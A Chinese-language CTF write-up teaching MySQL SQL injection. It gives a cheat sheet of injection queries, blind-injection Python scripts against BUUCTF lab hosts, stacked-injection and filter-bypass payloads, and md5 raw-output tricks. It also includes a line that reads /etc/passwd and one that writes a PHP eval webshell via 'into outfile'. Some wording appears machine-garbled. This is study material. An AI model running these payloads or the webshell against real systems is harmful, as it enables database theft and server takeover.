0×01:正文MYSQL数据库特性
1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个大略的例子,有的题目中只过滤了select,那么我们可以用Select进行绕过。
2.mysql默认端口3306
3.mysql各个数据库的浸染

(1)information_schema:
此数据库是一个信息数据库,保存了所有数据库的信息。
常用SQL注入语句1.显示当前用户:select user();(current_user)
2.显示当前数据库版本:select version();
3.显示当前数据库名:select database();show databases;
4.爆破字段数: order by
5.查看显示位:select 1,2,3,4,56.联合查询:union select 1,2,3,4,57.查询数据库名:
select group_concat(schema_name) from information_schema.schemata
8.查询数据表名:
select group_concat(table_name) from information_schema.tableswhere table_schema='库名'9.查询字段名:
select group_concat(column_name) from information_schema.columnswhere table_name='表名'10.读取特定行:
select from mysql.user limit n,m11.读取文件:select load_file('/etc/passwd')12.写入文件:
select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'
13.判断此处有无注入点:利用and1=1和and1=2来进行剖析14.猜解表名:and (Select Count() from [表名])>=015.猜解字段名:and (Select Count([字段名]) from [表名])>=016.猜解字段的长度:and (select top 1 len(字段名) from 数据库名)>0
17.创建一个数据库:create database ybyy;18.创建一个带字符的类型的数据库:create database mydb2 CHARACTER SET=utf8;
19.删除数据库:DROP DATABASE ybyy;20.修正数据库编码:
ALTER DATABASE ybyy character set gbk;21.选择数据库:use database;22.查看表构造:desc tablename;23.查看数据库创建语句:show create database databasename;
24.查看系统用户名:system_user()25.查看连接数据库的用户名session_user()26.读取数据库路径:@@datadir27.读取安装路径:@@basedir MYSQL28 操作系统:@@version_compile_os
0×02:盲注
什么叫盲注?
不会返回数据库内建的报错信息。而这些报错信息是我们普通SQL注入漏洞判断的依据。我们无法依据做事器的返回值来判断,我们可以依据两次实行的差距来判断,可以依据基于逻辑的真假来判断。
[极客大寻衅 2019]FinalSQL题目给了提示,python写sql盲注脚本
点击1:
可以看到这里是有waf的!
在这里在测试一下id=0
在这里就可以判断为布尔盲注。测了一下,这道题可以用异或注入来做。这里先来大略讲一下,1^0=11^1=0下面直接上payload:
利用二分法脚本来题提升盲注速率,由于后期中很多题型都须要到二分法爆破脚本,因此在这里阐明的详细一点,往后的二分法脚本便不作详细阐明。二分法:顾名思义,即为一分为二的方法。把答案所在的区间逐渐缩小,直到区间内有一次精确答案,就可以跳出一次循环。
在sql注入中,我们常常利用ASCII来对其进行便利,因此我们一样平常设置最大最小low=32,high=128。设置这两个值是由于在这期间基本包含了sql注入中password字段,但是也不免会有一些出题人喜好出稀奇古怪的题目,这种题目我们不便理会。利用二分法来进行爆破的缘故原由是:二分法比普通遍历效率要高很多。事理:每次爆破都是区间的中间值,如果中间值大于给天命字,那么下次爆破便是前半部分的中间值数字;如果中间值小于给天命字,下次就爆破后半部分的中间值数字。
那么接下来就可以剖析一下EXP了:
import requestsurl = "http://71eccd97-48cc-4534-b840-4ff5e336a0ad.node3.buuoj.cn/search.php?"temp = {"id" : ""}key = ""for i in range(1,1000): low = 32 high =128 mid = (low+high)//2 while(low<high):#库名 temp["id"] ="1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)#表名 #temp["id"] ="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)#字段名 #temp["id"] ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)#内容 #temp["id"] ="1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)r = requests.get(url,params=temp) print(low,high,mid,":")#在这里打印爆破的过程if "others" in r.text:#这里做一个判断,有回显位的字段是:click others,无回显字段是:ERROR!! 这个在上面的异或语句已经剖析到了low = mid+1 #如果成立,那么mid+1,便是爆出的回显位else:high = mid#如果不成立,那么连续用二分法进行搜mid =(low+high)//2if(mid ==32 or mid ==127):#如果当mid=32或者mid=127时解释,已经把所有的字段都爆完了,就跳出循环breakkey =key + chr(mid)#每爆出一位就对其进行加和,终极key便是爆出来的完全字段 print(key)
[BJDCTF 2nd]
现在的BUU已经禁止扫描了,只能用常用的目录自己测试,这里测试robots.txt涌现了提示
接着进入hint.txt中
select from users where username='$_POST["username"]' andpassword='$_POST["password"]';
这里我们布局:select from users where username = 'admin' and password = 'or 0#'
创造这里也是You konw ,P3rh4ps needs a girl friend接着我们布局:
payload:select from users where username = 'admin' and password = 'or 1# '
我们可以这样理解:
select from users where username = 'admin and password=' 注入代码#'这样就实现了'的逃逸
那么之后再加上regexp就可以写盲注脚本了:
import binascii,requestsimport stringzidian=string.ascii_letters+string.digitsprint(zidian)url='http://6d5a948a-bc60-439b-82bf-b70ba32509d5.node3.buuoj.cn/index.php'key=''while 1:for i in zidian: ybyy='^'+key+i data={ 'username':'younotgf!\\', 'password':'or password regexp binary0x{}#'.format(binascii.b2a_hex(ybyy.encode()).decode()) } res=requests.post(url,data=data).text if 'stronger' in res: key+=i print(key) break
可以创造这里跑出了密码,输入用户名和密码即可拿到flag
0×03:堆叠注入
堆叠注入的定义stacked injections ,顾名思义,便是多条语句一起实行。
堆叠注入的事理在SQL语句中,分号(;)代表着一句sql语句的结束,如果;后面紧接着一条语句,那么是会一起实行的。但是堆叠注入的成功实行是须要很多条件的,一方面是API接口与数据库引擎不支持的限定,还有一方面是权限的限定。
堆叠注入与Union联合注入是不同的,union后面的语句只能是用来实行查询语句,但是堆叠注入后面可以实行任意语句。堆叠查询的解法有三种,下面在题目中会逐一讲到。
[强网杯 2019]
随便注打开题目,涌现此页面
先来手测一下:payload:1' or 1=1#!
利用万能密码,创造是可以出东西的。接下来我们先用order by 测一下此数据库有多少列payload:1' order by 1#
这里创造了,是有两列数据。根据做题的思路,下面要查看哪个是显示位:payload:1' union select 1,2#
这里创造了过滤的函数:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
做到这里就知道是堆叠注入了,由于Rename,PREPARE,set等函数均未被过滤。
下面我们来考试测验堆叠注入:payload:1';show databases;#
可以创造是可以查询出数据库的,接下来又是走流程:payload:1';show tables;#
得到了两个表:1919810931114514和words 先查看words表中的内容payload:1'; show columns from words; #
连续查询其余一个表:payload:1'; show columns from 1919810931114514 ; #
可以创造这里有flag字段。但是前面已经爆了,select等函数均不可利用,须要绕过,再写绕过之前,这 里先插入一个知识点:为什么mysql数据库中要用``(反引号)。
mysql中``用法
在linux中是不区分``和''的差异的,但是在windows中区分,这里可以创造,payload:1'; show columns from 1919810931114514; # 是没有回显的。
这里来解释一下缘故原由:在mysql中查询纯数字和关键字的列名、表名时必须加
纯数字也是同理,show columns from 1919810931114514也是不会出结果的。这里也提示大家做列名和表名的时候不能用mysql中的关键字。
堆叠注入解题的三种姿势可以看到1919810931114514这个表中有flag字段,我们接下来的任务便是要如何查看flag字段中的内容。
第一种姿势:
重命名payload:
1';RENAME TABLE `words` TO `web_ybyy`;RENAME TABLE `1919810931114514` TO`words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8COLLATE utf8_general_ci NOT NULL;show columns from words;#
这个的阐明便是:
把原来words表重命名为web_ybyy表名,把1919810931114514改成words名,之后 利用alter table 修正words原来的表构造,末了利用show columns from words;进行输出。末了利用万能公式出flag:payload:1' or 1=1#
第二种姿势:
预处理绕过selectPrepared Statements 的浸染:当某一条语句反复被利用的时候,预先编译好会加快 实行速率。一次编译,多次运行,当然在这里紧张还是为了绕过select函数 语法:定义预处理:PREPARE 定义的名字 from 要定义的语句实行:
EXECUTE 定义的名字 payload:
1';PREPARE web_ybyy from concat('s','elect', ' from `1919810931114514`');EXECUTE web_ybyy;#
预编译的第二种办法:
利用char()对select进行绕过,在mysql中 char(115,101,108,101,99,116)--->select payload
1';PREPARE web_ybyy from concat(char(115,101,108,101,99,116),' from`1919810931114514` ');EXECUTE web_ybyy;#
0×04:其他sql注入与md5的组合
这类题是套路题,打破点在于sql查询的一条语句: 可以看到pass字段做了md5加密,sql注入的灵魂在于如何闭合,这类题也不例外。ctfshow web9:首先利用dirsearch进行目录扫描
提示了index.phps,我们把它下载下来
<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){ die("password error");} $sql="select from user where username ='admin' and password='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){?>
这个便是源码了
其他sql注入与md5的组合
`mysql_num_rows() 返回结果集中行的数目,这里判断大于0可过check紧张点在这里, password ='".md5($password,true)."'";
md5()函数两个参数:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数,这里我们进行了测试
payload1:129581926211651571912466741651878684928
payload2:
ffifdyop
username ='admin' and password =‘ ’or 'xxxxx'布局成这个类型的语句就可过check直接打,出flag
0×05:总结MYSQL注入bypass办法太多,大赛能学习到很多绕过姿势。逐步网络整理吧。